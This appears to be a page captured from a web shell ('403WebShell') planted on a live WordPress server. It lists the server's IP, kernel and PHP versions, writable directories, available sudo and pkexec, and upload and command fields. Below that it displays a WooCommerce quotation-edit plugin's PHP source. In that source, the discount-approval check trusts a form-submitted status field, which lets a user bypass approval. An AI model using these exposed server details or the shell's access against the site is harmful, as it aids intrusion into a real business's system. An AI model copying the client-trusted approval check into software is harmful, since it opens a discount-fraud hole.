Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/woocommerce-rfq/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/woocommerce-rfq/quotation_edit.php
<?php
function quotation_edit() {
    global $wpdb;
    $table_name = $wpdb->prefix . 'quotation';
    $assigned_terms_table = $wpdb->prefix . 'assigned_terms';

    // Get the current user
    $current_user = wp_get_current_user();
    $user_roles = $current_user->roles; // Array of roles the current user has

    // Check if the ID is set and is a number
    if (isset($_GET['id']) && is_numeric($_GET['id'])) {
        $id = intval($_GET['id']);

        // Fetch the current data
        $quote = $wpdb->get_row("SELECT * FROM $table_name WHERE id = $id", ARRAY_A);

        // Check if form is submitted for updating quotation
        if (isset($_POST['submit'])) {
            // Get the discount status and requested discount from the form data
            $discountStatus = $_POST['discount_status']; // From form input
            $discountRequested = floatval($_POST['discount_requested']); // From form input
            
            // Get the submitted discount value from the form
            $submittedDiscount = floatval($_POST['rfqdiscount']);

            // If discount status is "Approved"
            if ($discountStatus === 'Approved') {
                // Check if the submitted discount exceeds the requested discount
                if ($submittedDiscount > $discountRequested) {
                    set_transient('quotation_edit_message', array(
                        'message' => 'Discount greater than the requested ' . $discountRequested . '% requires approval.',
                        'type' => 'error',
                    ), 30);
                    wp_redirect(admin_url('admin.php?page=edit-quotation&id=' . $id));
                    exit;
                } else {
                    // If the discount is within the allowed range, update the quotation
                    update_quotation($id, $quote);
                }
            } else {
                if ($quote['rfqdiscount'] > 5) {
                    // Condition when $quote['rfqdiscount'] is greater than 5
                    if ($submittedDiscount <= $quote['rfqdiscount']) {
                        // Code to execute if $submittedDiscount is NOT greater than $quote['rfqdiscount']
                        update_quotation($id, $quote);
                    }
                    else{
                        set_transient('quotation_edit_message', array(
                            'message' => 'Your discount should be < approval discount.',
                            'type' => 'error',
                        ), 30);
                        wp_redirect(admin_url('admin.php?page=edit-quotation&id=' . $id));
                        exit; 
                    }
                } else {
                    // Condition when $quote['rfqdiscount'] is 5 or less
                    if ($submittedDiscount > 5) {
                        set_transient('quotation_edit_message', array(
                            'message' => 'Discount greater than 5% requires approval.',
                            'type' => 'error',
                        ), 30);
                        wp_redirect(admin_url('admin.php?page=edit-quotation&id=' . $id));
                        exit;
                    } else {
                        // If the discount is less than or equal to 5%, update the quotation
                        update_quotation($id, $quote);
                    }
                }
            }
        }




        // Check if form is submitted for requesting approval
        if (isset($_POST['request_approval'])) {
            request_discount_approval($id, $quote);
        }

        ?>
<div class="wrap">
    <h1 class="wp-heading-inline">Edit Quotation</h1>
    <?php
            // Fetch the calculated price from wp_request_quote table
            $calculated_price = $wpdb->get_var($wpdb->prepare(
                "SELECT calculated_price FROM wp_request_quote WHERE id = %d",
                $id
            ));

            // Display stored message if available
            $message = get_transient('quotation_edit_message');
            if ($message) {
                echo '<div class="notice is-dismissible ' . esc_attr($message['type']) . '"><p style="font-weight:700;">' . esc_html($message['message']) . '</p></div>';
                delete_transient('quotation_edit_message');
            }

            // Fetch names from wp_assigned_terms table
            // $terms = $wpdb->get_results("SELECT name FROM wp_assigned_terms ", ARRAY_A);
            // global $wpdb;

            // Assuming $quote['id'] contains the quotation ID
            $quotation_id = $quote['id'];
            
            // Prepare the SQL query with a placeholder
            // $sql = $wpdb->prepare("SELECT name FROM wp_assigned_terms WHERE qt_id = %d", $quotation_id);
            
            // Execute the query and get a single row
            // $assign_term_id = $wpdb->get_row($sql, ARRAY_A);
            
            // Check if the quotation ID is present
            // if ($assign_term_id) {
            //     // Quotation ID exists, process the result
            //     echo 'Name: ' . $assign_term_id['name']; // Example: output the name
            // } else {
            //     // Quotation ID does not exist
            //     echo 'Quotation ID does not exist.';
            // }
            

            // Execute the query and get the results
            // $assign_terms_id = $wpdb->get_results($sql, ARRAY_A);

            // Location address fetch for ba
            $location_address = $wpdb->get_results( "SELECT id, location_name FROM wp_zone_address", OBJECT );

            ?>
    <form method="post">
        <div class="form-container">
            <!-- Left Column -->
            <div class="form-column">
                <table class="form-table">
                    <tbody>
                        <tr>
                            <th scope="row"><label for="user_name">Quotation ID</label></th>
                            <td><input name="qt_id" type="text" id="qt_id" value="<?php echo esc_attr($quote['id']); ?>"
                                    class="regular-text" required readonly></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="user_name">Customer Name</label></th>
                            <td><input name="user_name" type="text" id="user_name"
                                    value="<?php echo esc_attr($quote['user_name']); ?>" class="regular-text" required
                                    readonly></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="user_email">Customer Email</label></th>
                            <td><input name="user_email" type="email" id="user_email"
                                    value="<?php echo esc_attr($quote['user_email']); ?>" class="regular-text" required
                                    readonly></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="product_name">Product Name</label></th>
                            <td><input name="product_name" type="text" id="product_name"
                                    value="<?php echo esc_attr($quote['product_name']); ?>" class="regular-text"
                                    readonly></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="start_date">Start Date</label></th>
                            <td><input name="start_date" type="date" id="start_date"
                                    value="<?php echo esc_attr($quote['start_date']); ?>" class="regular-text" readonly>
                            </td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="end_date">End Date</label></th>
                            <td><input name="end_date" type="date" id="end_date"
                                    value="<?php echo esc_attr($quote['end_date']); ?>" class="regular-text" readonly>
                            </td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="shift">Shifts</label></th>
                            <td><input name="shift" type="text" id="shift"
                                    value="<?php echo esc_attr($quote['shift']); ?>" class="regular-text" readonly></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="calculated_price">Calculated Price</label></th>
                            <td><input name="calculated_price" type="text" id="pricingtxt"
                                    value="<?php echo esc_attr($quote['calculated_price']); ?>" class="regular-text"
                                    readonly></td>
                        </tr>

                        <tr>
                            <th><label for="rfqdiscount">Discount %</label></th>
                            <td>
                                <?php if($quote['discount_status'] == "Request Pending"){ ?>
                                <input type="number" step="0.01" id="rfqdiscount"
                                    value="<?php echo esc_attr($quote['rfqdiscount']); ?>" name="rfqdiscount"
                                    class="regular-text" placeholder="Enter Discount Percentage" readonly>
                                <?php } else{?>
                                <style>
                                /* Hide the spin buttons in WebKit browsers */
                                input::-webkit-outer-spin-button,
                                input::-webkit-inner-spin-button {
                                    -webkit-appearance: none;
                                    margin: 0;
                                }

                                /* Hide spin buttons in Firefox */
                                input[type="number"] {
                                    -moz-appearance: textfield;
                                }
                                </style>
                                <input type="number" step="0.01" id="rfqdiscount"
                                    value="<?php echo esc_attr($quote['rfqdiscount']); ?>" name="rfqdiscount"
                                    class="regular-text" placeholder="Enter Discount Percentage" disabled>
                                <script>
                                const discountInput = document.getElementById("rfqdiscount");

                                // Allow only valid numbers with up to 2 decimal places
                                discountInput.addEventListener("input", () => {
                                    let value = discountInput.value;

                                    // Restrict to numbers with up to 2 decimal places
                                    if (!/^\d*(\.\d{0,2})?$/.test(value)) {
                                        discountInput.value = value.slice(0, -
                                        1); // Remove last invalid character
                                    }
                                });

                                // Optional: Fix formatting on blur (round to 2 decimal places if needed)
                                discountInput.addEventListener("blur", () => {
                                    if (discountInput.value) {
                                        discountInput.value = parseFloat(discountInput.value).toFixed(2);
                                    }
                                });
                                </script>
                                <?php }?>
                                <span id="discount-note" style="color: red; display: none; font-weight: 600;
                                    font-size: 12px;">Click to request approval for discounts> 5% or > previously
                                    approved discount.</span>
                                <button type="submit" class="button button-primary" name="request_approval"
                                    id="request-approval" style="display: none; margin-left:5px;">Request for
                                    Approval</button>
                                <br>
                                <p style="font-size:13px;">Please note that discount is based on calculated price and
                                    not on final price.</p>
                            </td>
                        </tr>

                        <tr>
                            <th scope="row"><label for="final_price">Final Price</label></th>
                            <td>
                                <?php
                                    $quote['final_price'] = !empty($quote['final_price']) ? $quote['final_price'] : $calculated_price;
                                    ?>
                                <input name="final_price" type="number" step="0.01" id="final_price"
                                    value="<?php echo esc_attr($quote['final_price']); ?>" class="regular-text" required
                                    readonly>
                            </td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="qt_status">Status</label></th>
                            <td>
                                <select name="qt_status" id="qt_status" class="regular-text" required disabled>
                                    <option value="In progress" <?php selected($quote['qt_status'], 'In progress'); ?>>
                                        In progress</option>
                                    <option value="Revised" <?php selected($quote['qt_status'], 'Revised'); ?>>Revised
                                    </option>
                                    <option value="Revised"
                                        <?php selected($quote['qt_status'], 'Requested For Revision'); ?>>Requested For
                                        Revision</option>
                                    <option value="Accepted" <?php selected($quote['qt_status'], 'Accepted'); ?>>
                                        Accepted</option>
                                    <!-- extra option added -->
                                    <option value="Quote Send to Coustmer"
                                        <?php selected($quote['qt_status'], 'Quote Send to Coustmer'); ?>>Quote Send to
                                        Coustmer</option>
                                </select>
                                <input type="hidden" name="qt_status" value="Revised" />
                            </td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="comments">Customer Comment</label></th>
                            <td><input name="comments" type="text" id="comments"
                                    value="<?php echo esc_attr($quote['comments']); ?>" class="regular-text" readonly>
                            </td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="revised_count">Revise Count</label></th>
                            <td>
                                <input name="revised_count" type="text" id="revised_count"
                                    value="<?php echo esc_attr($quote['revised_count'] >= 1 ? $quote['revised_count'] - 1 : $quote['revised_count']); ?>"
                                    class="regular-text" readonly>
                            </td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="discount_status">Discount Status</label></th>
                            <td><input name="discount_status" type="text" id="discount_status"
                                    value="<?php echo esc_attr($quote['discount_status']); ?>" class="regular-text"
                                    readonly></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="discount_requested">Discount Requested</label></th>
                            <td><input name="discount_requested" type="text" id="discount_requested"
                                    value="<?php echo esc_attr($quote['discount_requested']); ?>" class="regular-text"
                                    readonly></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="ap_comments">Approver Comments</label></th>
                            <td><input name="ap_comments" type="text" id="ap_comments"
                                    value="<?php echo esc_attr($quote['ap_comments']); ?>" class="regular-text"
                                    readonly></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="ap_comments">Assign Location</label></th>
                            <td>
                                <?php 
                                    // changes made in next line on 16th Nov by Shejad
                                       if (!empty($quote['assign_location_id']) && $quote['assign_location_id'] !== "0" && $quote['assign_location_id'] !== 0) {
                                                $quote_assign_location_id = $quote['assign_location_id'];
                                                $location_name = $wpdb->get_results( 
                                                    $wpdb->prepare(
                                                        "SELECT id, location_name FROM wp_zone_address WHERE id = %d",
                                                        $quote_assign_location_id
                                                    ), 
                                                    OBJECT 
                                                );
                                            ?>
                                <input type="text" class="regular-text"
                                    value="<?php echo  esc_attr( $location_name[0]->location_name );  ?>" readonly>
                                <input type="hidden" name="location_id" id="location_id"
                                    value="<?php echo  esc_attr( $location_name[0]->id );  ?>">
                                <?php
                                        }
                                        else{
                                            if ( $location_address ) {
                                                echo '<select name="location_id" id="location_id">';
                                                // Add the default "Please Select" option
                                                echo '<option value="" disabled selected>Please Select</option>';
                                                
                                                foreach ( $location_address as $row ) {
                                                    echo '<option value="' . esc_attr( $row->id ) . '">' . esc_html( $row->location_name ) . '</option>';
                                                }
                                            
                                                echo '</select>';
                                            }
                                            
                                        }
                                    ?>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </div>
            <!-- Right Column -->
            <div class="form-column">
                <!-- <table class="form-table">
                    <tbody>
                        <tr>
                            <th scope="row"><label for="term_content">T&C Content</label></th>
                            <td>
                                <?php
                                global $wpdb;
                                $table_name_terms_conditions = $wpdb->prefix . 'terms_conditions';
                                $term_id = 1; // ID to fetch default terms

                                // Fetch default terms
                                $default_term_content_1 = $wpdb->get_var(
                                    $wpdb->prepare("SELECT dynamic_content_1 FROM $table_name_terms_conditions WHERE ID = %d", $term_id)
                                );
                                $default_term_content_2 = $wpdb->get_var(
                                    $wpdb->prepare("SELECT dynamic_content_2 FROM $table_name_terms_conditions WHERE ID = %d", $term_id)
                                );

                                // Fetch updated terms based on revised_count
                                $updated_term_content_1 = '';
                                $updated_term_content_2 = '';
                                if (!empty($quote['id'])) {
                                    $table_name_quotation = $wpdb->prefix . 'quotation';
                                    $updated_terms = $wpdb->get_row(
                                        $wpdb->prepare("SELECT dynamic_terms_1, dynamic_terms_2 FROM $table_name_quotation WHERE id = %d", $quote['id']),
                                        ARRAY_A
                                    );
                                    $updated_term_content_1 = $updated_terms['dynamic_terms_1'] ?? '';
                                    $updated_term_content_2 = $updated_terms['dynamic_terms_2'] ?? '';
                                }

                                // Determine which content to display
                                $term_content_to_display_1 = ($quote['revised_count'] > 0 && !empty($updated_term_content_1)) ? $updated_term_content_1 : $default_term_content_1;
                                $term_content_to_display_2 = ($quote['revised_count'] > 0 && !empty($updated_term_content_2)) ? $updated_term_content_2 : $default_term_content_2;
                                ?>
                                <h2>Special Terms & Condition</h2>
                                <label><h3>Hire Charges</h3></label><br>
                                <textarea name="dynamic_terms_1" id="term_content" class="regular-text" rows="15"><?php echo esc_textarea($term_content_to_display_1); ?></textarea>
                            </td>
                        </tr>

                        <tr>
                            <th scope="row"><label for="term_content_2"></label></th>
                            <td>
                                <h3>Other Terms</h3><br>
                                <textarea name="dynamic_terms_2" id="term_content_2" class="regular-text" rows="15"><?php echo esc_textarea($term_content_to_display_2); ?></textarea>
                            </td>
                        </tr>

                        
                    </tbody>
                </table> -->

                <!-- <table class="form-table">
                        <tbody>
                            <tr>
                                <th scope="row"><label for="term_content">T&C Content</label></th>
                                <td>
                                    <?php
                                    // Fetching dynamic_content_1 from wp_terms_conditions based on a fixed ID
                                    $term_content = '';
                                    $term_id = 1; // ID you want to fetch
                                    global $wpdb;
                                    $table_name_terms_conditions = $wpdb->prefix . 'terms_conditions';
                                    $term_content = $wpdb->get_var(
                                        $wpdb->prepare("SELECT dynamic_content_1 FROM $table_name_terms_conditions WHERE ID = %d", $term_id)
                                    );
                                    ?>
                                    <h3>Special Terms & Condition</h3>
                                    <label><b>Hire Charges</b></label><br><br>
                                    <textarea name="dynamic_terms_1" id="term_content" class="regular-text" rows="10"><?php echo esc_textarea($term_content); ?></textarea>
                                </td>
                            </tr>


                            <tr>
                                <th scope="row"><label for="term_content_2">T&C Content 2</label></th>
                                <td>
                                    <?php
                                    // Fetching dynamic_content_2 from wp_terms_conditions based on a fixed ID
                                    $term_content_2 = '';
                                    $term_id = 1; // ID you want to fetch
                                    global $wpdb;
                                    $term_content_2 = $wpdb->get_var(
                                        $wpdb->prepare("SELECT dynamic_content_2 FROM $table_name_terms_conditions WHERE ID = %d", $term_id)
                                    );
                                    ?>
                                    <textarea name="dynamic_terms_2" id="term_content_2" class="regular-text" rows="10"><?php echo esc_textarea($term_content_2); ?></textarea>
                                </td>
                            </tr>

                        </tbody>
                        
                    </table> -->
                <!-- <table class="form-table">
                <tbody>
                    <tr>
                        <th scope="row"><label for="term_content">T&C Content</label></th>
                        <td>
                            <h3>Special Terms & Condition</h3>
                            <label><b>Hire Charges</b></label><br><br>
                            <textarea name="dynamic_terms_1" id="term_content" class="regular-text" rows="10"><?php echo esc_textarea($quote['dynamic_terms_1']); ?></textarea>
                        </td>
                    </tr>
                    <tr>
                        <th scope="row"><label for="term_content_2">T&C Content 2</label></th>
                        <td>
                            <textarea name="dynamic_terms_2" id="term_content_2" class="regular-text" rows="10"><?php echo esc_textarea($quote['dynamic_terms_2']); ?></textarea>
                        </td>
                    </tr>
                </tbody>
            </table> -->


            </div>

        </div>

        <?php if($quote['cs_view'] == '1'){ ?>
        <input type="hidden" name="cs_view" id="cs_view" value="<?php echo esc_attr($quote['cs_view']); ?>" />
        <?php  } ?>

        <?php if($quote['discount_status'] != "Request Pending"){ ?>
        <p class="submit">
            <?php if($quote['revised_count'] > 0) { ?>
            <input type="submit" name="submit" id="submit" class="button button-primary" value="Revise Quotation">
            <?php }
                        else{ ?>
            <input type="submit" name="submit" id="submit" class="button button-primary" value="Save">
            <?php }
                        ?>
            <?php 
                        if($quote['cs_view'] !='1'){
                        ?>
            <?php if ($quote['revised_count'] > 0): ?>
            <button class="button button-primary" id="sendQuoteButton"
                data-quotation-id="<?php echo $quote['id']; ?>">Send Quote To Customer</button>
            <?php endif; ?>
            <?php 
                        }
                        ?>
            <a href="<?php echo admin_url('admin.php?page=quotation-dashboard'); ?>" class="button">Cancel</a>
            <!-- Aseema's Code  -->

            <?php if ($quote['qt_status'] === 'Accepted') : ?>
            <button type="button" name="generate_agreement" id="generate_agreement" class="button button-primary">
                Generate Agreement
            </button>
            <?php endif; ?>
        </p>
        <?php }?>
    </form>
    <a href="<?php echo admin_url('admin.php?page=quotes-revision-details&id=' . $quote['id']); ?>" class="button">See
        Revision Details</a>
    <!-- Alert for Revise Quotation button-->
    <script>
    document.getElementById("submit").addEventListener("click", function(event) {
        // Show a confirmation dialog
        let userConfirmed = confirm("Are you sure you want to update the quotation?");

        if (!userConfirmed) {
            // If the user clicks "No", prevent form submission
            event.preventDefault();
        }
        // If the user clicks "Yes", the form will submit as usual
    });
    </script>
    <script>
    jQuery(document).ready(function($) {
        $('#rfqdiscount').on('keyup', function() {
            var calculatedPrice = parseFloat($('#pricingtxt').val());
            var discount = parseFloat($(this).val());

            // Get the dynamic discount status and requested discount from hidden fields
            var discountStatus = $('#discount_status').val();
            var discountRequested = parseFloat($('#discount_requested').val());

            // Initialize final price variable
            var finalPrice = calculatedPrice;

            // Check if discount_status is "Approved"
            if (discountStatus === "Approved") {
                // Show the note and request approval button if the discount exceeds discountRequested
                if (discount > discountRequested) {
                    $('#discount-note').show();
                    $('#request-approval').show();
                } else {
                    $('#discount-note').hide();
                    $('#request-approval').hide();
                }

                // Allow discount only if it's less than or equal to discountRequested
                if (discount <= discountRequested) {
                    finalPrice = calculatedPrice - (calculatedPrice * (discount / 100));
                }
            } else {
                // Existing logic when discount_status is not "Approved"
                if (discount > 5) {
                    $('#discount-note').show();
                    $('#request-approval').show();
                } else {
                    $('#discount-note').hide();
                    $('#request-approval').hide();
                }

                // Calculate the final price for non-approved status
                if (discount >= 0) {
                    finalPrice = calculatedPrice - (calculatedPrice * (discount / 100));
                }
            }
$('#final_price').val(finalPrice.toFixed(2)).attr('value', finalPrice.toFixed(2));
        });
        $('#sendQuoteButton').on('click', function(e) {
            e.preventDefault();

            var quotationId = $(this).data('quotation-id');

            // First AJAX call to update status
            $.ajax({
                url: ajaxurl,
                type: 'POST',
                data: {
                    action: 'update_quotation_status',
                    qt_id: quotationId
                },
                success: function(statusResponse) {
                    // If status update is successful, proceed with sending email
                    if (statusResponse.success) {
                        // Second AJAX call to send email
                        $.ajax({
                            url: ajaxurl,
                            type: 'POST',
                            data: {
                                action: 'send_quotation_email',
                                quotation_id: quotationId,
                                nonce: '<?php echo wp_create_nonce("send_quotation_email_nonce"); ?>'
                            }

                        });

                        alert('Quote sent to customer successfully!');
                        location.reload();

                    } else {
                        alert('Failed to update quote status. Please try again.');
                    }
                },
                error: function() {
                    alert('Error occurred while updating status. Please try again.');
                }
            });
        });

        // // Agreement 
        // $('#generate_agreement').on('click', function() {
        //     var qt_id = $('#qt_id').val(); // Get the Quotation ID

        //     // Perform an AJAX request
        //     $.ajax({
        //         url: ajaxurl, // WordPress AJAX handler
        //         type: 'POST',
        //         data: {
        //             action: 'generate_agreement', // Custom action name
        //             qt_id: qt_id, // Pass the quotation ID
        //         },
        //         success: function(response) {
        //             if(response.success) {

        //                 // Display success message at the end of the form
        //                 $('<p class="success-message" style="color: green;">Agreement generated successfully.</p>').insertAfter('.submit');
        //                 setTimeout(function() {
        //                     window.location.href = "<?php echo esc_url(admin_url('admin.php?page=agreement')); ?>";
        //                 }, 1000);
        //             } else {
        //                 // Display error message at the end of the form
        //                 $('<p class="error-message" style="color: red;">Failed to generate Agreement.</p>').insertAfter('.submit');
        //             }
        //         },
        //         error: function() {
        //             // Display error message at the end of the form
        //             $('<p class="error-message" style="color: red;">An error occurred while processing your request.</p>').insertAfter('.submit');
        //         }
        //     });
        // });

        $('#generate_agreement').on('click', function(e) {
            e.preventDefault();
            var qt_id = $('#qt_id').val(); // Get the Quotation ID

            // Show loading spinner
            $('#spinner').show();

            // Perform an AJAX request to generate agreement
            $.ajax({
                url: ajaxurl, // WordPress AJAX handler
                type: 'POST',
                data: {
                    action: 'generate_agreement', // Custom action name
                    qt_id: qt_id, // Pass the quotation ID
                    nonce: '<?php echo wp_create_nonce("generate_agreement_nonce"); ?>'
                },
                success: function(response) {
                    if (response.success) {
                        // Second AJAX call to send email
                        $.ajax({
                            url: ajaxurl,
                            type: 'POST',
                            data: {
                                action: 'send_agg_email',
                                qt_id: qt_id,
                                nonce: '<?php echo wp_create_nonce("send_agg_email_nonce"); ?>'
                            }
                        });

                        // Display success message at the end of the form
                        $('<p class="success-message" style="color: green;">Agreement generated and email sent successfully.</p>')
                            .insertAfter('.submit');
                        setTimeout(function() {
                            window.location.href =
                                "<?php echo esc_url(admin_url('admin.php?page=agreement')); ?>";
                        });
                    } else {
                        $('#spinner').hide();
                        $('<p class="error-message" style="color: red;">Failed to generate agreement. Please try again.</p>')
                            .insertAfter('.submit');
                    }
                },
                error: function() {
                    $('#spinner').hide();
                    // Display error message at the end of the form
                    $('<p class="error-message" style="color: red;">An error occurred while processing your request.</p>')
                        .insertAfter('.submit');
                }
            });
        });

    });

    </script>
</div>
<?php
    } else {
        echo 'Invalid ID provided.';
    }
}

function update_quotation($id, $quote) {
    global $wpdb;
    $table_name = $wpdb->prefix . 'quotation';

    // Fetch the current quotation data (this is the data you want to save in the revision history)
    $current_quotation = $wpdb->get_row($wpdb->prepare("SELECT * FROM $table_name WHERE id = %d", $id), ARRAY_A);
    
    if ($current_quotation === null) {
        error_log('Quotation not found: ' . $id);
        return;
    }

    if($current_quotation['revised_count'] > 0){
        // Get the current logged-in user information
        $current_user = wp_get_current_user();
        $revised_by = $current_user->user_login; // Get the username of the logged-in user

        // Prepare new revision data with previous (current) data
        $new_revision = array(
            'revised_by' => $revised_by,
            'revision_date' => current_time('mysql'),
            'final_price' => $current_quotation['final_price'],
            'discount' => $current_quotation['rfqdiscount'],
            'status' => $current_quotation['qt_status']
        );
        // Decode existing revision details
        $revision_details = $current_quotation['revision_details'] ? json_decode($current_quotation['revision_details'], true) : array();
        // Ensure that $revision_details is an array before appending to it
        if (!is_array($revision_details)) {
            $revision_details = []; // Initialize as an empty array if it's not an array
        }
        // Append the new revision to the revision details array
        $revision_details[] = $new_revision;
        // Encode back to JSON format
        $revision_details_json = json_encode($revision_details);
    }

    // Increment revised_count
    $revised_count = $current_quotation['revised_count'] + 1;

    // Sanitize and validate input
    $user_name = sanitize_text_field($_POST['user_name']);
    $user_email = sanitize_email($_POST['user_email']);
    $start_date = sanitize_text_field($_POST['start_date']);
    $end_date = sanitize_text_field($_POST['end_date']);
    $shift = sanitize_text_field($_POST['shift']);
    $final_price = sanitize_text_field($_POST['final_price']);
    $status = sanitize_text_field($_POST['qt_status']);
    $discount = sanitize_text_field($_POST['rfqdiscount']);
    $assign_location_id = sanitize_text_field($_POST['location_id']);
    $terms_and_condition = sanitize_text_field($_POST['assign_terms_conditions']);
    $cs_view = isset($_POST['cs_view']) ? intval($_POST['cs_view']) : 0;

    $term_content_1 = isset($_POST['dynamic_terms_1']) ? sanitize_textarea_field($_POST['dynamic_terms_1']) : '';
    $term_content_2 = isset($_POST['dynamic_terms_2']) ? sanitize_textarea_field($_POST['dynamic_terms_2']) : '';

    // Update the quotation with the new data
    $updated = $wpdb->update(
        $table_name,
        array(
            'user_name' => $user_name,
            'user_email' => $user_email,
            'start_date' => $start_date,
            'end_date' => $end_date,
            'shift' => $shift,
            'final_price' => $final_price,
            'qt_status' => $status,
            'rfqdiscount' => $discount,
            'assign_location_id' => $assign_location_id,
            'assign_terms_conditions' => $terms_and_condition,
            'dynamic_terms_1' => $term_content_1,
            'dynamic_terms_2' => $term_content_2,
            'revised_count' => $revised_count,
            'cs_view' => $cs_view,
            'revision_details' => $revision_details_json // Update revision details column with previous data
        ),
        array('id' => $id),
        array('%s', '%s', '%s', '%s', '%s', '%f', '%s', '%f', '%s', '%s', '%s', '%s', '%d', '%s'), // Data types
        array('%d') // id type
    );

    if ($updated === false) {
        error_log('Failed to update Quotation: ' . $wpdb->last_error);
    }

    // Fetch the qt_id based on assign_terms_conditions
    $qt_id = $wpdb->get_var($wpdb->prepare(
        "SELECT id FROM $table_name WHERE assign_terms_conditions = %s",
        $terms_and_condition
    ));

    // Debugging: Log qt_id and terms_and_condition
    error_log('qt_id: ' . $qt_id);
    error_log('assign_terms_conditions: ' . $terms_and_condition);

    // If qt_id is found, update the wp_assigned_terms table
    if ($qt_id) {
        $wpdb->update(
            $wpdb->prefix . 'assigned_terms',
            array('qt_id' => $qt_id),
            array('name' => $terms_and_condition),
            array('%d'),
            array('%s')
        );

        // Debugging: Log success message
        error_log('wp_assigned_terms table updated successfully');
    } else {
        // Debugging: Log error message if qt_id is not found
        error_log('qt_id not found for terms_and_condition: ' . $terms_and_condition);
    }

    $message = 'Quotation updated successfully';
    $message_type = 'updated';

    // Store the message in a transient
    set_transient('quotation_edit_message', array(
        'message' => $message,
        'type' => $message_type,
    ), 30);

    // Redirect to avoid re-submission on page reload
    wp_redirect(admin_url('admin.php?page=edit-quotation&id=' . $id));
    exit;
}

function wcsda_send_discount_approval_email($quotation_id, $discount, $final_price, $quote, $is_resend = false) {
    $timestamp = time();
    update_post_meta($quotation_id, '_discount_approval_timestamp', $timestamp);

    $nonce = wp_create_nonce("discount_action_{$quotation_id}_{$timestamp}");

    // Determine who should receive the email
    $emails = [];

    if ($is_resend) {
        $emails['discount'] = get_option('wcsda_discount_approver_email');
    } else {
        if ($discount > 5 || $discount > floatval($quote['approved_discount'])) {
            $emails['discount'] = get_option('wcsda_discount_approver_email');
        } else {
            return false; // No approval needed, exit early
        }
    }

    $subject = "Discount Approval Request for Quotation #$quotation_id";
    $headers = array('Content-Type: text/html; charset=UTF-8');

    add_filter('wp_mail_from_name', function($name) {
        return 'GMMCO';
    });

    foreach ($emails as $role => $email) {
        $approve_url = add_query_arg([
            'action' => 'wcsda_approve_discount',
            'qt_id' => $quotation_id,
            'discount' => $discount,
            'timestamp' => $timestamp,
            'nonce' => $nonce
        ], site_url('/wp-admin/admin-ajax.php'));

        $reject_url = add_query_arg([
            'action' => 'wcsda_reject_discount',
            'qt_id' => $quotation_id,
            'discount' => $discount,
            'timestamp' => $timestamp,
            'nonce' => $nonce
        ], site_url('/wp-admin/admin-ajax.php'));

        $message = "
            <p>Hello Team,</p>
            <p>The customer {$quote['user_name']} ({$quote['user_email']}) has requested a discount of {$discount}% for quotation #$quotation_id.</p>
            <p>Final Amount: ₹{$final_price}</p>
            <p>Please review and take action:</p>
            <a href='{$approve_url}' style='padding: 10px 20px; background-color: #28a745; color: white; text-decoration: none;'>Approve</a>
            <a href='{$reject_url}' style='padding: 10px 20px; background-color: #dc3545; color: white; text-decoration: none;'>Reject</a>
            <p>Regards,<br>GMMCO-RMS</p>
        ";

        // You can add multiple recipients here if needed
        wp_mail(['janvi.patel@teampumpkin.com'], $subject, $message, $headers);
    }

    remove_all_filters('wp_mail_from_name');
    return true;
}


function request_discount_approval($id, $quote) {
    global $wpdb;
    $approval_table = $wpdb->prefix . 'discount_approval';
    $quotation_table = $wpdb->prefix . 'wp_quotation'; // Ensure this is the correct table name.

    // Get the current user
    $current_user = wp_get_current_user();
    $user_name = $current_user->user_login;

    // Sanitize and validate input
    $final_price = sanitize_text_field($_POST['final_price']);
    $discount = sanitize_text_field($_POST['rfqdiscount']);

    // Insert into approval table
    $wpdb->insert(
        $approval_table,
        array(
            'qt_id' => $id,
            'user_id' => $quote['user_id'],
            'user_name' => $quote['user_name'],    
            'product_name' => $quote['product_name'],
            'start_date' => $quote['start_date'],
            'end_date' => $quote['end_date'],
            'final_price' => $final_price,
            'status' => 'Pending',
            'discount' => $discount,
            'requested_ba' => $user_name,
            'created_on' => current_time('mysql')
        ),
        array(
            '%d',    // qt_id
            '%d',    // user_id
            '%s',    // user_name 
            '%s',    // product_name
            '%s',    // start_date
            '%s',    // end_date
            '%f',    // final_price
            '%s',    // status
            '%f',    // discount
            '%s',    // requested_ba
            '%s'     // created_on
        )
    );

    // Update wp_quotation table to set discount_status and discount_requested
    $table_name = $wpdb->prefix . 'quotation';
    $updated = $wpdb->update(
        $table_name,
        array(
            'discount_status' => 'Request Pending', // Set discount_status to "Request Pending"
            'discount_requested' => $discount,      // Save the requested discount value
        ),
        array('id' => $id), // The condition for the update: where `id` equals the given $id
        array('%s', '%f'),  // Data types for the new values
        array('%d')         // Data type for the where clause
    );

    // In App Notification
    create_notification(
        'Discount request recived',
        'Discount raised for "' . $id . '" Customen name is "' . $quote['user_name'] . '"',
        array(
            'meta_input' => array(
                'user_id' => $quote['user_id'],
                'action' => 'discount requested',
            )
        )
    );

    // Error handling for debugging
    if ($updated === false) {
        // Log error in case update fails
        error_log('Error updating wp_quotation table: ' . $wpdb->last_error);
    } elseif ($updated === 0) {
        // Log if no rows were affected (indicating the update condition might not match any row)
